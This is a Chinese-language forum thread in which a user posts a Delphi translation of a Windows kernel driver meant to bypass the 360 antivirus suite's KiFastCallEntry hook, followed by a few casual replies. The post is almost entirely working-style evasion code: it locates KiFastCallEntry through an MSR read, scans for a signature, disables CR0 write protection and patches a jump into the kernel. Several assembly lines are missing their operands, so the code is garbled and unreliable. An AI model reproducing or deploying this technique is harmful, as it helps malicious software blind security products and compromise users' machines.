9908006 发表于 2010-12-29 15:38:23

闲得蛋疼——翻译Tesla绕过360的KiFastCallEntry钩子

本帖最后由 9908006 于 2010-12-29 15:39 编辑

unit unhook250;

interface

uses
nt_status, ntoskrnl, native, winioctl, fcall, macros;

type
THEAD = array of byte;
THEAD1 = array of byte;

const
NtKernel = 'ntoskrnl.exe';
NtHal = 'hal.dll';
DeviceName = '\Device\unhook250'; ///设备名
DosDeviceName = '\??\unhook250'; ///符号链接名
JmpCode: THEAD = ($E9, $00, $00, $00, $00);
OrgCode: THEAD = ($8B, $3F, $8B, $1C, $87);
PushRetCode: THEAD1 = ($68, $00, $00, $00, $00, $C3);

var
f_oldirql: KIRQL;
f_spinlock: KSPIN_LOCK;
uKiFastCallEntryAddr: ULONG;
HookAddr: ULONG;
MyJmpRet: ULONG;
PushRetMem: ULONG;
g_usDeviceName, g_usSymbolicLinkName: UNICODE_STRING;

function _DriverEntry(pDriverObject: PDRIVER_OBJECT; pusRegistryPath: PUNICODE_STRING): NTSTATUS; stdcall;
function KeRaiseIrqlToDpcLevel(): KIRQL; register; external NtHal name '_KeRaiseIrqlToDpcLevel';
procedure KfLowerIrql(NewIrql: KIRQL); register; external NtHal name '_KfLowerIrql';
procedure KfReleaseSpinLock(SpinLock: PKSPIN_LOCK; NewIrql: KIRQL); register; external NtHal name '_KfReleaseSpinLock';
function KfAcquireSpinLock(SpinLock: PKSPIN_LOCK): KIRQL; register; external NtHal name '_KfAcquireSpinLock';


implementation

procedure FakeKiFastCallEntry; stdcall;
begin
asm
      mov edi,dword ptr
      mov ebx,dword ptr
      sub esp,ecx
      shr ecx,2
      jmp ;
end;
end;

function LoadKiHooker(): ULONG;
var
oldIrql: KIRQL;
status: NTSTATUS;
uCr0cpu: ULONG;
begin
asm
pushfd
pushad
mov ecx,$176
rdmsr
mov uKiFastCallEntryAddr,eax //获取KiFastCallEntry地址
xor ecx,ecx
@@Label1:
cmp ecx,$100
je @@Label3
mov edx,DWORD ptr
cmp edx,$1C8B3F8B //搜索特征码,获取要Hook的位置
je @@Label2
inc eax
inc ecx
jmp @@Label1
@@Label2:
mov HookAddr,eax
@@Label3:
popad
popfd
end;
if (HookAddr = 0) then result := status;
DbgPrint('HookAddr is:%x', HookAddr);
PushRetMem := ULONG(ExAllocatePoolWithTag(NonPagedPool, 6, $544D454D));
DbgPrint('PushRetMem is:%x', PushRetMem);
if (PVOID(PushRetMem) = nil) then result := status;

PULONG(ulong(@JmpCode))^ := PushRetMem - (HookAddr + 5);
PULONG(ulong(@PushRetCode))^ := DWORD(@FakeKiFastCallEntry);
DbgPrint('FakeKiFastCallEntry is:%x', DWORD(@FakeKiFastCallEntry));
MyJmpRet := HookAddr + 10;
KeInitializeSpinLock(@f_spinlock);
f_oldirql := KfAcquireSpinLock(@f_spinlock);
oldIrql := KeRaiseIrqlToDpcLevel();
asm
    cli
    pusheax
    mov   eax, cr0
    mov   , eax
    and   eax, not 000010000h
    mov   cr0, eax
    pop   eax
end;
memcpy(pointer(PushRetMem), pointer(@PushRetCode), 6);
DbgPrint('JmpCode is:%x', DWORD(@JmpCode));
memcpy(pointer(HookAddr), pointer(@JmpCode), 5);
asm
    pusheax
    mov   eax,
    mov   cr0, eax
    pop   eax
    sti
end;
KfLowerIrql(oldIrql);
KfReleaseSpinLock(@f_spinlock, f_oldirql);
end;

function UnloadKiHooker(): ULONG;
var
oldIrql: KIRQL;
status: NTSTATUS;
uCr0cpu: ULONG;
begin
if (HookAddr <> 0) then
begin
    KeInitializeSpinLock(@f_spinlock);
    f_oldirql := KfAcquireSpinLock(@f_spinlock);
    oldIrql := KeRaiseIrqlToDpcLevel();
    asm
    cli
    pusheax
    mov   eax, cr0
    mov   , eax
    and   eax, not 000010000h
    mov   cr0, eax
    pop   eax
    end;
    RtlCopyMemory(pointer(HookAddr), pointer(@OrgCode), 5);
    asm
    pusheax
    mov   eax,
    mov   cr0, eax
    pop   eax
    sti
    end;
    KfLowerIrql(oldIrql);
    KfReleaseSpinLock(@f_spinlock, f_oldirql);
    ExFreePool(PVOID(PushRetMem));
end;
end;

function DispatchCreateClose(p_DeviceObject: PDEVICE_OBJECT; p_Irp: PIRP): NTSTATUS; stdcall; ///对打开或关闭请求的响应 ,这里就是简单的返回一个成功
begin
p_Irp^.IoStatus.Status := STATUS_SUCCESS; ///设置状态为STATUS_SUCCESS 即成功
p_Irp^.IoStatus.Information := 0;
IofCompleteRequest(p_Irp, IO_NO_INCREMENT); ///调用IoCompleteRequest完成IRP
Result := STATUS_SUCCESS;
end;

procedure DriverUnload(DriverObject: PDriverObject); stdcall;
begin
DbgPrint('DriverUnload(DriverObject:0x%.8X)', DriverObject);
DbgPrint('DriverUnload(-)');
UnloadKiHooker();
IoDeleteSymbolicLink(@g_usSymbolicLinkName);
IoDeleteDevice(DriverObject^.DeviceObject);
end;

function _DriverEntry(pDriverObject: PDRIVER_OBJECT; pusRegistryPath: PUNICODE_STRING): NTSTATUS;
var
oldIrql: KIRQL;
status: NTSTATUS;
DeviceObject: TDeviceObject;
begin
status := STATUS_DEVICE_CONFIGURATION_ERROR;
RtlInitUnicodeString(g_usDeviceName, DeviceName);
RtlInitUnicodeString(g_usSymbolicLinkName, DosDeviceName);
if (IoCreateDevice(pDriverObject, 0, @g_usDeviceName,
    FILE_DEVICE_UNKNOWN, 0, FALSE,
    DeviceObject) = STATUS_SUCCESS) then
begin
    DbgPrint('Create Device Success'); ///输出调试字符串
    if (IoCreateSymbolicLink(@g_usSymbolicLinkName, @g_usDeviceName) = STATUS_SUCCESS) then
    begin
      DbgPrint('Create SymbolicLink Success'); ///输出调试字符串
      pDriverObject^.MajorFunction := @DispatchCreateClose; ///这里把IRP_MJ_CREATE IRP_MJ_CLOSE设置到一个函数上
      pDriverObject^.MajorFunction := @DispatchCreateClose;
      pDriverObject^.DriverUnload := @DriverUnload; ///当驱动动态卸载时执行DriverUnload
      status := STATUS_SUCCESS; ///返回STATUS_SUCCESS;
    end else ///如果创建符号链接不成功
    begin
      DbgPrint('Create SymbolicLink Failed'); ///输出调试字符串
      IoDeleteDevice(@DeviceObject); ///删除设备
    end;
end;
LoadKiHooker();
Result := status;
end;

end.

Tesla.Angela 发表于 2010-12-30 00:11:15

你确实是闲得蛋疼。。。:L

ameken 发表于 2011-1-6 08:15:37

:( 汇编不会

vfdnmu99 发表于 2011-11-25 01:45:14

delphi写驱动比较麻烦。

马大哈 发表于 2011-12-2 15:21:50

{:soso__1239912700803041484_4:}那也没有VB麻烦

Tesla.Angela 发表于 2011-12-14 01:11:12

这帖子都快一年了!

upring 发表于 2015-4-11 10:03:00

代码清晰 感谢分享
页: [1]
查看完整版本: 闲得蛋疼——翻译Tesla绕过360的KiFastCallEntry钩子